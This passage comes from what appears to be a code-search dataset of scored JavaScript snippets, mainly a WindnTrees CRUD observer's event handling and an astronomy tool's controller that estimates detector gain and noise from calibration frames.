*/\n instance.getObserverInterface().find = function (page, fill) {\n instance.find(page, fill);\n };\n\n /** \n * Observer list function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverInterface().list = function (page) {\n instance.list(page);\n };\n\n\n /** \n * Observer findRequest function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverInterface().findRequest = function (options) {\n instance.findRequest(options);\n };\n\n /** \n * Observer listRequest function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverInterface().listRequest = function (options) {\n instance.listRequest(options);\n };\n\n /** \n * Observer load function definition.\n * \n * @param {type} options\n * @returns {undefined}\n */\n instance.getObserverInterface().load = function (options, fill) {\n instance.load(options, fill);\n };\n }\n \n if (instance.getObserverObject() !== null &&\n instance.getObserverObject() !== undefined) {\n \n /** \n * Observer clearRecords function definition.\n * \n * @returns {undefined}\n */\n instance.getObserverObject().clearRecords = function () {\n instance.clearRecords();\n };\n \n /** \n * Observer select function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverObject().select = function (page) {\n instance.select(page);\n };\n\n /** \n * Observer selectList function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverObject().selectList = function (page) {\n instance.selectList(page);\n };\n\n /** \n * Observer find function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverObject().find = function (page, fill) {\n instance.find(page, fill);\n };\n\n /** \n * Observer list function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverObject().list = function (page) {\n instance.list(page);\n };\n\n\n /** \n * Observer findRequest function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverObject().findRequest = function (options) {\n instance.findRequest(options);\n };\n\n /** \n * Observer listRequest function definition.\n * \n * @param {type} page\n * @returns {undefined}\n */\n instance.getObserverObject().listRequest = function (options) {\n instance.listRequest(options);\n };\n\n /** \n * Observer load function definition.\n * \n * @param {type} options\n * @returns {undefined}\n */\n instance.getObserverObject().load = function (options, fill) {\n instance.load(options, fill);\n };\n }\n \n /// <summary>Error processing and presenting event subscription.</summary>\n instance.presentErrors = function (event, eventData) {\n \n if (eventData.data.callback !== null &&\n eventData.data.callback !== undefined) {\n\n eventData.data.callback(eventData.result);\n } else {\n \n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n \n instance.getObserverInterface().displayClearActivity();\n instance.getObserverInterface().setErrors(instance.getErrors());\n }\n }\n };\n \n /// <summary>Record processing and presenting event subscription.</summary>\n instance.presentRecord = function (event, eventData) {\n\n eventData.event = \"record.before.rendering.view.CRUD.WindnTrees\";\n instance.notify(eventData);\n \n if (eventData !== null && eventData !== undefined) {\n\n if (eventData.code !== null && eventData.code !== undefined) {\n\n if (eventData.code.length > 0) {\n instance.setAuthorizationCode(eventData.code);\n\n if (eventData.data.codeField !== null && eventData.data.codeField !== undefined) {\n\n $('[name=' + eventData.data.codeField + ']').val(eventData.code);\n }\n else {\n\n $('[name=__RequestVerificationToken]').val(eventData.code);\n }\n }\n }\n }\n\n if (eventData.data.callback !== null &&\n eventData.data.callback !== undefined) {\n\n eventData.observerType = \"callback\";\n eventData.data.callback(eventData.result);\n } else {\n \n if (eventData.request === 'get' ||\n eventData.request === 'post') {\n \n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n\n //attach observer type information within event\n eventData.observerType = instance.getObserverInterface().getType();\n\n instance.getObserverInterface().displaySuccessActivity();\n instance.getObserverInterface().displayFormSuccessActivity();\n\n instance.getObserverInterface().setRecord(eventData.result);\n\n if (instance.getObserverInterface().getType() === \"CRUDObserver\" || instance.getObserverInterface().getType() === \"CRUDKNObserver\") {\n\n if (eventData.result !== null && eventData.result !== undefined) {\n\n instance.getObserverInterface().setFormObject(eventData.result);\n }\n else {\n \n instance.getObserverInterface().displayFormNoRecordActivity();\n }\n }\n }\n return;\n }\n \n if (eventData.data !== null &&\n eventData.data !== undefined) {\n \n if (eventData.data.detailEntity !== null &&\n eventData.data.detailEntity !== undefined) {\n\n eventData.entityType = \"detailEntity\";\n\n var detailEntity = eventData.data.detailEntity;\n detailEntity.setRecord(eventData.result);\n \n if (instance.getObserverInterface() !== null &&\n instance.getObserverInterface() !== undefined) {\n\n\n if (eventData.data.messageType !== null &&\n eventData.data.messageType !== undefined) {\n\n if (eventData.data.messageType === 'brief') {\n\n instance.getObserverInterface().displaySaved();\n\n } else {\n\n instance.getObserverInterface().displaySuccessActivity();\n instance.getObserverInterface().displayFormSuccessActivity();\n }\n\n } else {\n\n instance.getObserverInterface().displaySuccessActivity();\n instance.getObserverInterface().displayFormSuccessActivity();\n }\n\n \n\n //attach observer type information within event\n eventData.observerType = instance.getObserverInterface().getType();\n\n instance.getObserverInterface().updateView({\n 'requestData': eventData.data,\n 'resetForm': eventData.data.resetForm,\n 'refObject': eventData.data.refObject,\n 'refActions': eventData.data.refActions,\n 'refInputs': eventData.data.refInputs,\n 'action': eventData.request,\n 'resultRecord': detailEntity,\n 'placement': (options.placement !== null && options.placement !== undefined) ? options.placement : 'first'\n });\n }\n \n return;\n }\n }\n\n if (instance.getObserverInterface() !== null &&\n instance.getObserverInterface() !== undefined) {\n \n if (eventData.data.messageType !== null &&\n eventData.data.messageType !== undefined) {\n\n if (eventData.data.messageType === 'brief') {\n\n instance.getObserverInterface().displaySaved();\n\n } else {\n\n instance.getObserverInterface().displaySuccessActivity();\n instance.getObserverInterface().displayFormSuccessActivity();\n }\n\n } else {\n\n instance.getObserverInterface().displaySuccessActivity();\n instance.getObserverInterface().displayFormSuccessActivity();\n }\n\n //attach observer type information within event\n eventData.observerType = instance.getObserverInterface().getType();\n\n var record = eventData.result;\n\n instance.getObserverInterface().updateView({\n 'requestData': eventData.data,\n 'resetForm': eventData.data.resetForm,\n 'refObject': eventData.data.refObject,\n 'refActions': eventData.data.refActions,\n 'refInputs': eventData.data.refInputs,\n 'action': eventData.request,\n 'resultRecord': record,\n 'placement': (options.placement !== null && options.placement !== undefined) ? options.placement : 'first'\n });\n }\n }\n\n eventData.event = \"record.after.rendering.view.CRUD.WindnTrees\";\n instance.notify(eventData);\n };\n\n /// <summary>Multiple records processing and presenting event subscription.</summary>\n instance.presentRecords = function (event, eventData) {\n\n eventData.event = \"records.before.rendering.view.CRUD.WindnTrees\";\n instance.notify(eventData);\n\n if (eventData !== null && eventData !== undefined) {\n if (eventData.code !== null && eventData.code !== undefined) {\n\n if (eventData.code.length > 0) {\n instance.setAuthorizationCode(eventData.code);\n\n if (eventData.data.codeField !== null && eventData.data.codeField !== undefined) {\n\n $('[name=' + eventData.data.codeField + ']').val(eventData.code);\n }\n else {\n\n $('[name=__RequestVerificationToken]').val(eventData.code);\n }\n }\n }\n }\n\n var listNumber = 1;\n var listSize = 10;\n\n //update page or list number from event data in a conventional\n //non-query object find call\n if (eventData.data.page !== null && eventData.data.page !== undefined) {\n\n listNumber = eventData.data.page;\n }\n else if (eventData.data.query !== null && eventData.data.query !== undefined) {\n\n //otherwise extract page and size values from query object\n if (eventData.data.query.page !== null && eventData.data.query.page !== undefined) {\n\n listNumber = eventData.data.query.page;\n }\n\n if (eventData.data.query.size !== null && eventData.data.query.size !== undefined) {\n\n listSize = eventData.data.query.size;\n }\n }\n\n\n if (eventData.data.callback !== null &&\n eventData.data.callback !== undefined) {\n\n eventData.observerType = \"callback\";\n\n eventData.data.callback(eventData.result);\n } else {\n\n if (instance.getObserverInterface() !== null && instance.getObserverInterface() !== undefined) {\n\n //attach observer type information within event\n eventData.observerType = instance.getObserverInterface().getType();\n\n var records = eventData.result;\n\n if (instance.getObserverInterface().getType() === \"ListObserver\" ||\n instance.getObserverInterface().getType() === \"ListKNObserver\") {\n \n instance.getObserverInterface().fillList({'objects': records});\n\n } else {\n\n\n if (eventData.data.messageType !== null &&\n eventData.data.messageType !== undefined) {\n\n if (eventData.data.messageType === 'brief') {\n\n instance.getObserverInterface().displaySaved();\n\n } else {\n\n instance.getObserverInterface().displayProcessing(false);\n instance.getObserverInterface().displaySuccessActivity();\n }\n\n } else {\n\n instance.getObserverInterface().displayProcessing(false);\n instance.getObserverInterface().displaySuccessActivity();\n }\n\n if (eventData.data.fill !== null && eventData.data.fill !== undefined) {\n\n if (eventData.data.fill === 'continue') {\n\n var currentList = instance.getObserverInterface().getCurrentList();\n var existingRecords = instance.getObserverInterface().getRecords();\n var newRecords = eventData.result;\n\n if (eventData.data.page <= currentList) {\n var listSize = instance.getObserverInterface().getListSize();\n var listCount = instance.getObserverInterface().getRecords().length;\n\n var startIndex = listSize * (eventData.data.page - 1);\n startIndex = startIndex < 0 ? 0 : startIndex;\n\n var deleteCount = listCount - startIndex;\n deleteCount = deleteCount < 0 ? 0 : deleteCount;\n\n existingRecords.splice(startIndex, deleteCount);\n }\n\n for (var i = 0; i < newRecords.length; i++) {\n existingRecords.push(newRecords[i]);\n }\n\n //instance.getObserverInterface().setRecords(existingRecords);\n\n instance.getObserverInterface().fillListRecordsView({\n 'page': listNumber,\n 'responseData': instance.getCRUDProcessor().responseData(),\n 'records': existingRecords,\n 'fill': 'continue',\n 'messageType': eventData.data.messageType\n });\n\n } else {\n\n instance.getObserverInterface().fillListRecordsView({\n 'page': listNumber,\n 'responseData': instance.getCRUDProcessor().responseData(),\n 'records': records,\n 'messageType': eventData.data.messageType\n });\n }\n\n } else {\n\n instance.getObserverInterface().fillListRecordsView({\n 'page': listNumber,\n 'responseData': instance.getCRUDProcessor().responseData(),\n 'records': records,\n 'messageType': eventData.data.messageType\n });\n }\n }\n }\n }\n\n eventData.event = \"records.after.rendering.view.CRUD.WindnTrees\";\n instance.notify(eventData);\n\n $(window).trigger('view-direction-change');\n };\n \n /// <summary>Presents request failure.</summary>\n instance.presentFailRequest = function (event, eventData) {\n \n if (eventData.data.callback !== null &&\n eventData.data.callback !== undefined) {\n\n eventData.data.callback(eventData.result);\n } else {\n\n if (instance.getObserverInterface() !== null &&\n instance.getObserverInterface() !== undefined) {\n\n if (eventData.data.messageType !== null &&\n eventData.data.messageType !== undefined) {\n\n if (eventData.data.messageType === 'brief') {\n\n instance.getObserverInterface().displayFailed();\n\n } else {\n\n instance.getObserverInterface().displayFailureActivity();\n }\n\n } else {\n\n instance.getObserverInterface().displayFailureActivity();\n }\n }\n }\n };\n\n /// <summary>Subscribe CRUDProcessor events.</summary>\n instance.subscribeEvents = function (eventsInstance) {\n eventsInstance = (eventsInstance !== null && eventsInstance !== undefined) ? eventsInstance : instance;\n \n $(instance.getCRUDProcessor()).on('errors.processor.CRUD.WindnTrees', eventsInstance.presentErrors);\n $(instance.getCRUDProcessor()).on('record.processor.CRUD.WindnTrees', eventsInstance.presentRecord);\n $(instance.getCRUDProcessor()).on('records.processor.CRUD.WindnTrees', eventsInstance.presentRecords);\n $(instance.getCRUDProcessor()).on('fail.processor.CRUD.WindnTrees', eventsInstance.presentFailRequest);\n };\n \n /// <summary>Subscribe CRUDProcessor events.</summary>\n instance.unSubscribeEvents = function (eventsInstance) {\n \n eventsInstance = (eventsInstance !== null && eventsInstance !== undefined) ? eventsInstance : instance;\n \n $(instance.getCRUDProcessor()).off('errors.processor.CRUD.WindnTrees', eventsInstance.presentErrors);\n $(instance.getCRUDProcessor()).off('record.processor.CRUD.WindnTrees', eventsInstance.presentRecord);\n $(instance.getCRUDProcessor()).off('records.processor.CRUD.WindnTrees', eventsInstance.presentRecords);\n $(instance.getCRUDProcessor()).off('fail.processor.CRUD.WindnTrees', eventsInstance.presentFailRequest);\n };\n \n if (options.events !== null && options.events !== undefined) {\n if (options.events) {\n instance.subscribeEvents();\n }\n } else {\n instance.subscribeEvents();\n }\n \n if (options.contextpath !== null && options.contextpath !== undefined) {\n if (options.contextpath === 'load') {\n instance.loadContextPath();\n }\n }\n \n if (options.instance !== null && options.instance !== undefined) {\n return Object.create(instance);\n }\n \n return instance;\n}", "title": "" }, { "docid": "84998b982ae808551f8d702d9f15348b", "score": "0.5332489", "text": "function GrouponAwardModel() {\n FormModel.apply(this, arguments);\n\n // 表单数据请求器\n // this.formRequester = api.someDetail;\n\n // 表单提交请求器 (*)\n // this.submitRequester = api.someUpdate;\n }", "title": "" }, { "docid": "ba5f509ddadead4fe5b3673892b83603", "score": "0.5331054", "text": "function AppControllerViewModel() {\n var self = this;\n\n // Router setup\n self.router = oj.Router.rootInstance;\n self.router.configure({\n 'home': {\n label: 'Home',\n isDefault: true\n },\n 'library': {\n label: 'Library'\n }\n });\n\n oj.Router.defaults['urlAdapter'] = new oj.Router.urlParamAdapter();\n\n // Change the default location for the viewModel and view files\n oj.ModuleBinding.defaults.modelPath = 'viewModels/styleLab/';\n oj.ModuleBinding.defaults.viewPath = 'text!views/styleLab/';\n\n\n // Media queries for repsonsive layouts\n var smQuery = oj.ResponsiveUtils.getFrameworkQuery(oj.ResponsiveUtils.FRAMEWORK_QUERY_KEY.SM_ONLY);\n self.smScreen = oj.ResponsiveKnockoutUtils.createMediaQueryObservable(smQuery);\n var mdQuery = oj.ResponsiveUtils.getFrameworkQuery(oj.ResponsiveUtils.FRAMEWORK_QUERY_KEY.MD_UP);\n self.mdScreen = oj.ResponsiveKnockoutUtils.createMediaQueryObservable(mdQuery);\n\n // Navigation and Offcanvas\n self.drawerParams = {\n displayMode: 'push',\n selector: '#offcanvas',\n content: '#pageContent'\n };\n // Called by navigation drawer toggle button and after selection of nav drawer item\n self.toggleDrawer = function() {\n return oj.OffcanvasUtils.toggle(self.drawerParams);\n };\n // Close offcanvas on medium and larger screens\n self.mdScreen.subscribe(function() {\n oj.OffcanvasUtils.close(self.drawerParams);\n });\n self.navDataSource = nav.dataSource;\n // Called by nav drawer option change events so we can close drawer after selection\n self.navChange = function(event) {\n if (event.detail.value !== self.router.stateId()) {\n self.toggleDrawer();\n }\n };\n\n }", "title": "" }, { "docid": "0095726f6afe19547409fb04133e9e48", "score": "0.5328557", "text": "function View(parentEl, options) {\n var option;\n\n // merge in the default options in place of any missing ones\n for (option in this.defaults) {\n if (this.defaults.hasOwnProperty(option)) {\n if (!(option in options)) {\n options[option] = this.defaults[option];\n }\n }\n }\n\n this.createControls(parentEl)\n this.configureControls(options)\n this.applyControlsToVideo()\n this.setEventHandlers();\n return this;\n}", "title": "" }, { "docid": "ad739823340b8690d13f6dcb0679eaf5", "score": "0.5325034", "text": "constructor(modelMain, modelMessages) {\n this.modelMain = modelMain;\n this.modelMessages = modelMessages;\n this.html = '';\n this.elementViewScreen = document.getElementById('view_screen');\n }", "title": "" }, { "docid": "2a62b0a0e8e9be66938c5653d7b72048", "score": "0.53174627", "text": "initController() {\n var className = this.controller,\n initCmd = 'new ' + className + '({ view: this });';\n this._controller = eval(initCmd);\n }", "title": "" }, { "docid": "040f221c2a6b51606cc43cc0ed5c2949", "score": "0.5316847", "text": "function viewmodel(args) {\n var self = this;\n this.id = ko.observable(args.id || 0);\n\n return {\n getView: function () {\n return view;\n },\n\n id: self.id,\n\n showId: function () {\n swal({\n title: \"Info!\",\n text: \"Id: \" + self.id(),\n icon: \"success\",\n });\n },\n navigate: function () {\n pubsub.publish('navigate', '/permissao/123');\n },\n canDeactivate: function () {\n return self.id() == 1;\n },\n deactivate: function () {\n //clean up\n console.log('deactivate');\n }\n }\n }", "title": "" }, { "docid": "28e2a73ac3144e9893bc76d571b7d77d", "score": "0.53130484", "text": "function MainController(model, isViewTarget) {\n this.view = null;\n\n this.isViewTarget = isViewTarget;\n\n this.setView = function(view) {\n this.view = view;\n };\n\n this.execute = function() {\n this.enableControls();\n if (!isViewTarget) {\n this.view.execute();\n }\n };\n\n this.reset = function() {\n model.flatFrame1View = null;\n this.view.flatFrame1ViewList.currentView =\n this.view.flatFrame1ViewListNull;\n\n model.flatFrame2View = null;\n this.view.flatFrame2ViewList.currentView =\n this.view.flatFrame2ViewListNull;\n\n model.biasFrame1View = null;\n this.view.biasFrame1ViewList.currentView =\n this.view.biasFrame1ViewListNull;\n\n model.biasFrame2View = null;\n this.view.biasFrame2ViewList.currentView =\n this.view.biasFrame2ViewListNull;\n\n this.resetDetectorSettings();\n\n this.enableControls();\n };\n\n this.resetDetectorSettings = function() {\n model.flatFrameExposure = model.flatFrameExposureDefault;\n this.view.flatFrameExposureValue.text = \" -\";\n\n model.detectorGain = model.detectorGainDefault;\n this.view.detectorGainValue.text = \" -\";\n\n model.detectorGaussianNoise = model.detectorGaussianNoiseDefault;\n this.view.detectorGaussianNoiseValue.text = \" -\";\n\n model.detectorOffset = model.detectorOffsetDefault;\n this.view.detectorOffsetValue.text = \" -\";\n };\n\n this.disableControls = function() {\n this.view.flatFrame1ViewList.enabled = false;\n\n this.view.flatFrame2ViewList.enabled = false;\n\n this.view.biasFrame1ViewList.enabled = false;\n\n this.view.biasFrame2ViewList.enabled = false;\n\n this.view.newInstanceButton.enabled = false;\n this.view.browseDocumentationButton.enabled = false;\n this.view.resetButton.enabled = false;\n\n this.view.estimateButton.enabled = false;\n };\n\n this.enableControls = function() {\n this.view.flatFrame1ViewList.enabled = true;\n\n this.view.flatFrame2ViewList.enabled = true;\n\n this.view.biasFrame1ViewList.enabled = true;\n\n this.view.biasFrame2ViewList.enabled = true;\n\n this.view.newInstanceButton.enabled = true;\n this.view.browseDocumentationButton.enabled = true;\n this.view.resetButton.enabled = true;\n\n this.view.estimateButton.enabled =\n model.flatFrame1View != null && model.flatFrame1View.isView &&\n model.flatFrame2View != null && model.flatFrame2View.isView &&\n model.biasFrame1View != null && model.biasFrame1View.isView &&\n model.biasFrame2View != null && model.biasFrame2View.isView &&\n\n model.flatFrame1View.image.numberOfChannels == 1 &&\n model.flatFrame2View.image.numberOfChannels == 1 &&\n model.biasFrame1View.image.numberOfChannels == 1 &&\n model.biasFrame2View.image.numberOfChannels == 1 &&\n\n model.frameSizeMinimum <= Math.min(\n model.flatFrame1View.image.width, model.flatFrame1View.image.height\n ) &&\n model.frameSizeMinimum <= Math.min(\n model.flatFrame2View.image.width, model.flatFrame2View.image.height\n ) &&\n model.frameSizeMinimum <= Math.min(\n model.biasFrame1View.image.width, model.biasFrame1View.image.height\n ) &&\n model.frameSizeMinimum <= Math.min(\n model.biasFrame2View.image.width, model.biasFrame2View.image.height\n ) &&\n\n model.flatFrame1View.image.width == model.flatFrame2View.image.width &&\n model.flatFrame1View.image.width == model.biasFrame1View.image.width &&\n model.flatFrame1View.image.width == model.biasFrame2View.image.width &&\n\n model.flatFrame1View.image.height ==\n model.flatFrame2View.image.height &&\n model.flatFrame1View.image.height ==\n model.biasFrame1View.image.height &&\n model.flatFrame1View.image.height ==\n model.biasFrame2View.image.height &&\n\n model.flatFrame1View.fullId != model.flatFrame2View.fullId &&\n model.flatFrame1View.fullId != model.biasFrame1View.fullId &&\n model.flatFrame1View.fullId != model.biasFrame2View.fullId &&\n model.flatFrame2View.fullId != model.biasFrame1View.fullId &&\n model.flatFrame2View.fullId != model.biasFrame2View.fullId &&\n model.biasFrame1View.fullId != model.biasFrame2View.fullId &&\n\n Math.min(\n model.flatFrame1Median, model.flatFrame2Median\n ) > Math.max(\n model.biasFrame1Median, model.biasFrame2Median\n );\n };\n\n this.checkFrameView = function(view) {\n if (!(\n view.image.numberOfChannels == 1\n )) {\n (new MessageBox(\n \"<p><b>Error</b>: A monochannel frame must be selected.</p>\",\n TITLE, StdIcon_Error, StdButton_Ok\n )).execute();\n return false;\n }\n\n if (!(\n model.frameSizeMinimum <= Math.min(\n view.image.width, view.image.height\n )\n )) {\n (new MessageBox(\n \"<p><b>Error</b>: The size of the selected frame must be at \" +\n \"least \" + format(\"%d \", model.frameSizeMinimum) +\n \"pixels in width and height.</p>\",\n TITLE, StdIcon_Error, StdButton_Ok\n )).execute();\n return false;\n }\n\n if (!(\n (model.flatFrame1View == null || !model.flatFrame1View.isView ||\n view.image.width == model.flatFrame1View.image.width) &&\n (model.flatFrame2View == null || !model.flatFrame2View.isView ||\n view.image.width == model.flatFrame2View.image.width) &&\n (model.biasFrame1View == null || !model.biasFrame1View.isView ||\n view.image.width == model.biasFrame1View.image.width) &&\n (model.biasFrame2View == null || !model.biasFrame2View.isView ||\n view.image.width == model.biasFrame2View.image.width) &&\n\n (model.flatFrame1View == null || !model.flatFrame1View.isView ||\n view.image.height == model.flatFrame1View.image.height) &&\n (model.flatFrame2View == null || !model.flatFrame2View.isView ||\n view.image.height == model.flatFrame2View.image.height) &&\n (model.biasFrame1View == null || !model.biasFrame1View.isView ||\n view.image.height == model.biasFrame1View.image.height) &&\n (model.biasFrame2View == null || !model.biasFrame2View.isView ||\n view.image.height == model.biasFrame2View.image.height)\n )) {\n (new MessageBox(\n \"<p><b>Error</b>: Frame widths and heights must be equal.</p>\",\n TITLE, StdIcon_Error, StdButton_Ok\n )).execute();\n return false;\n }\n\n if (!(\n (model.flatFrame1View == null || !model.flatFrame1View.isView ||\n view.fullId != model.flatFrame1View.fullId) &&\n (model.flatFrame2View == null || !model.flatFrame2View.isView ||\n view.fullId != model.flatFrame2View.fullId) &&\n (model.biasFrame1View == null || !model.biasFrame1View.isView ||\n view.fullId != model.biasFrame1View.fullId) &&\n (model.biasFrame2View == null || !model.biasFrame2View.isView ||\n view.fullId != model.biasFrame2View.fullId)\n )) {\n (new MessageBox(\n \"<p><b>Error</b>: Duplicate frames may not be selected.</p>\",\n TITLE, StdIcon_Error, StdButton_Ok\n )).execute();\n return false;\n }\n\n return true;\n };\n\n this.checkFlatFrameView = function() {\n if (!(\n model.flatFrame1View == null || !model.flatFrame1View.isView ||\n model.flatFrame2View == null || !model.flatFrame2View.isView ||\n model.biasFrame1View == null || !model.biasFrame1View.isView ||\n model.biasFrame2View == null || !model.biasFrame2View.isView ||\n Math.min(\n model.flatFrame1Median, model.flatFrame2Median\n ) > Math.max(\n model.biasFrame1Median, model.biasFrame2Median\n )\n )) {\n (new MessageBox(\n \"<p><b>Error</b>: Uncalibrated flat frame median must be larger \" +\n \"than bias or dark frame median.</p>\",\n TITLE, StdIcon_Error, StdButton_Ok\n )).execute();\n return false;\n }\n\n if (!(\n model.flatFrame1View == null || !model.flatFrame1View.isView ||\n model.flatFrame2View == null || !model.flatFrame2View.isView ||\n model.flatFrame1Median != 0 &&\n model.flatFrame2Median != 0 &&\n Math.min(\n model.flatFrame1Median,\n model.flatFrame2Median\n ) / Math.max(\n model.flatFrame1Median,\n model.flatFrame2Median\n ) > model.flatFrameRatioMinimum\n )) {\n (new MessageBox(\n \"<p><b>Warning</b>: Uncalibrated flat frame medians should be \" +\n \"equal within \" +\n format(\"%.0f\", 100 * (1 - model.flatFrameRatioMinimum)) + \"%.</p>\",\n TITLE, StdIcon_Error, StdButton_Ok\n )).execute();\n return false;\n }\n\n return true;\n };\n\n this.checkBiasFrameView = function() {\n if (!(\n model.flatFrame1View == null || !model.flatFrame1View.isView ||\n model.flatFrame2View == null || !model.flatFrame2View.isView ||\n model.biasFrame1View == null || !model.biasFrame1View.isView ||\n model.biasFrame2View == null || !model.biasFrame2View.isView ||\n Math.min(\n model.flatFrame1Median, model.flatFrame2Median\n ) > Math.max(\n model.biasFrame1Median, model.biasFrame2Median\n )\n )) {\n (new MessageBox(\n \"<p><b>Error</b>: Uncalibrated flat frame median must be larger \" +\n \"than bias or dark frame median.</p>\",\n TITLE, StdIcon_Error, StdButton_Ok\n )).execute();\n return false;\n }\n\n if (!(\n model.biasFrame1View == null || !model.biasFrame1View.isView ||\n model.biasFrame2View == null || !model.biasFrame2View.isView ||\n model.biasFrame1Median != 0 &&\n model.biasFrame2Median != 0 &&\n Math.min(\n model.biasFrame1Median,\n model.biasFrame2Median\n ) / Math.max(\n model.biasFrame1Median,\n model.biasFrame2Median\n ) > model.biasFrameRatioMinimum\n )) {\n (new MessageBox(\n \"<p><b>Warning</b>: Bias or dark frame medians should be \" +\n \"equal within \" +\n format(\"%.0f\", 100 * (1 - model.biasFrameRatioMinimum)) + \"%.</p>\",\n TITLE, StdIcon_Error, StdButton_Ok\n )).execute();\n return false;\n }\n\n return true;\n };\n\n this.flatFrame1ViewOnViewSelected = function(view) {\n if (!view.isView) {\n view = null;\n }\n model.flatFrame1View = null;\n var ok = view != null && view.isView && this.checkFrameView(view);\n model.flatFrame1View = view;\n model.flatFrame1Median =\n view != null && view.isView ? view.image.median() : 0;\n if (ok) {\n this.checkFlatFrameView();\n }\n\n this.resetDetectorSettings();\n this.enableControls();\n };\n\n this.flatFrame2ViewOnViewSelected = function(view) {\n if (!view.isView) {\n view = null;\n }\n model.flatFrame2View = null;\n var ok = view != null && view.isView && this.checkFrameView(view);\n model.flatFrame2View = view;\n model.flatFrame2Median =\n view != null && view.isView ? view.image.median() : 0;\n if (ok) {\n this.checkFlatFrameView();\n }\n\n this.resetDetectorSettings();\n this.enableControls();\n };\n\n this.biasFrame1ViewOnViewSelected = function(view) {\n if (!view.isView) {\n view = null;\n }\n model.biasFrame1View = null;\n var ok = view != null && view.isView && this.checkFrameView(view);\n model.biasFrame1View = view;\n model.biasFrame1Median =\n view != null && view.isView ? view.image.median() : 0;\n if (ok) {\n this.checkBiasFrameView();\n }\n\n this.resetDetectorSettings();\n this.enableControls();\n };\n\n this.biasFrame2ViewOnViewSelected = function(view) {\n if (!view.isView) {\n view = null;\n }\n model.biasFrame2View = null;\n var ok = view != null && view.isView && this.checkFrameView(view);\n model.biasFrame2View = view;\n model.biasFrame2Median =\n view != null && view.isView ? view.image.median() : 0;\n if (ok) {\n this.checkBiasFrameView();\n }\n\n this.resetDetectorSettings();\n this.enableControls();\n };\n\n this.logCalibrationFrames = function() {\n console.writeln();\n console.writeln(\"<b>Calibration frames:</b>\");\n\n console.writeln(format(\n \"Uncalibrated flat frame 1: \" + model.frameViewFormat,\n model.flatFrame1View.fullId\n ));\n console.writeln(format(\n \"Uncalibrated flat frame 2: \" + model.frameViewFormat,\n model.flatFrame2View.fullId\n ));\n console.writeln(format(\n \"Bias or dark frame 1: \" + model.frameViewFormat,\n model.biasFrame1View.fullId\n ));\n console.writeln(format(\n \"Bias or dark frame 2: \" + model.frameViewFormat,\n model.biasFrame2View.fullId\n ));\n\n console.flush();\n };\n\n this.logDetectorSettings = function() {\n console.writeln();\n console.writeln(format(\n \"Flat frame exposure: \" + model.flatFrameExposureFormat + \" \" +\n model.flatFrameExposureUnits,\n model.flatFrameExposure\n ));\n\n console.writeln();\n console.writeln(\"<b>Detector settings:</b>\");\n\n console.writeln(format(\n \"Gain: \" + model.detectorGainFormat + \" \" + model.detectorGainUnits,\n model.detectorGain\n ));\n console.writeln(format(\n \"Gaussian noise: \" + model.detectorGaussianNoiseFormat + \" \" +\n model.detectorGaussianNoiseUnits,\n model.detectorGaussianNoise\n ));\n console.writeln(format(\n \"Offset: \" + model.detectorOffsetFormat + \" \" +\n model.detectorOffsetUnits,\n model.detectorOffset\n ));\n };\n\n this.estimateDetectorGain = function() {\n var flat1 = model.flatFrame1View.image.toMatrix();\n var flat2 = model.flatFrame2View.image.toMatrix();\n var bias1 = model.biasFrame1View.image.toMatrix();\n var bias2 = model.biasFrame2View.image.toMatrix();\n var flatBias1 = flat1.sub(bias1);\n var flatBias2 = flat2.sub(bias2);\n var sum = flatBias1.add(flatBias2);\n var difference = flat1.sub(flat2);\n\n var cropRows = Math.floor(model.cropFactor * difference.rows);\n var cropCols = Math.floor(model.cropFactor * difference.cols);\n\n var blockSize = 8;\n var stepSize = 8;\n var meansArray = new Array();\n var stdDevsArray = new Array();\n var block = new Vector();\n for (\n var y = cropRows;\n y <= difference.rows - cropRows - blockSize;\n y += stepSize\n ) {\n for (\n var x = cropCols;\n x <= difference.cols - cropCols - blockSize;\n x += stepSize\n ) {\n var blockArray = sum.toArray(y, x, blockSize, blockSize);\n block.assign(blockArray, 0, blockSize * blockSize);\n meansArray.push(block.mean());\n var blockArray = difference.toArray(y, x, blockSize, blockSize);\n block.assign(blockArray, 0, blockSize * blockSize);\n stdDevsArray.push(block.stdDev());\n }\n if ((y % 128) == 0) {\n this.view.throwAbort();\n }\n }\n\n var means = new Vector(meansArray);\n var mean = 0.5 * means.median();\n var stdDevs = new Vector(stdDevsArray);\n var normalization = 1.0 / 0.996034;\n var stdDev = normalization * Math.sqrt(0.5) * stdDevs.median();\n\n try {\n assert(stdDev != 0,\n \"The median local standard deviation of the bias- or \" +\n \"dark-subtracted flat frame difference equals zero. The two \" +\n \"bias- or dark-subracted flat frames appear to be statistically \" +\n \"identical.\"\n );\n model.detectorGain =\n stdDev == 0 ? 0 : mean / (stdDev * stdDev) / 65535;\n model.flatFrameExposure =\n stdDev == 0 ? 0 : (mean * mean) / (stdDev * stdDev);\n } finally {\n stdDevs.assign(0, 0);\n means.assign(0, 0);\n block.assign(0, 0);\n difference.assign(0, 0, 0);\n sum.assign(0, 0, 0);\n flatBias1.assign(0, 0, 0);\n flatBias2.assign(0, 0, 0);\n bias1.assign(0, 0, 0);\n bias2.assign(0, 0, 0);\n flat1.assign(0, 0, 0);\n flat2.assign(0, 0, 0);\n }\n };\n\n this.estimateDetectorGaussianNoise = function() {\n var bias1 = model.biasFrame1View.image.toMatrix();\n var bias2 = model.biasFrame2View.image.toMatrix();\n var difference = bias1.sub(bias2);\n\n var blockSize = 8;\n var stepSize = 8;\n var stdDevsArray = new Array();\n var block = new Vector();\n for (var y = 0; y <= difference.rows - blockSize; y += stepSize) {\n for (var x = 0; x <= difference.cols - blockSize; x += stepSize) {\n var blockArray = difference.toArray(y, x, blockSize, blockSize);\n block.assign(blockArray, 0, blockSize * blockSize);\n stdDevsArray.push(block.stdDev());\n }\n if ((y % 128) == 0) {\n this.view.throwAbort();\n }\n }\n\n var stdDevs = new Vector(stdDevsArray);\n var normalization = 1.0 / 0.996034;\n var stdDev = normalization * Math.sqrt(0.5) * stdDevs.median();\n\n try {\n 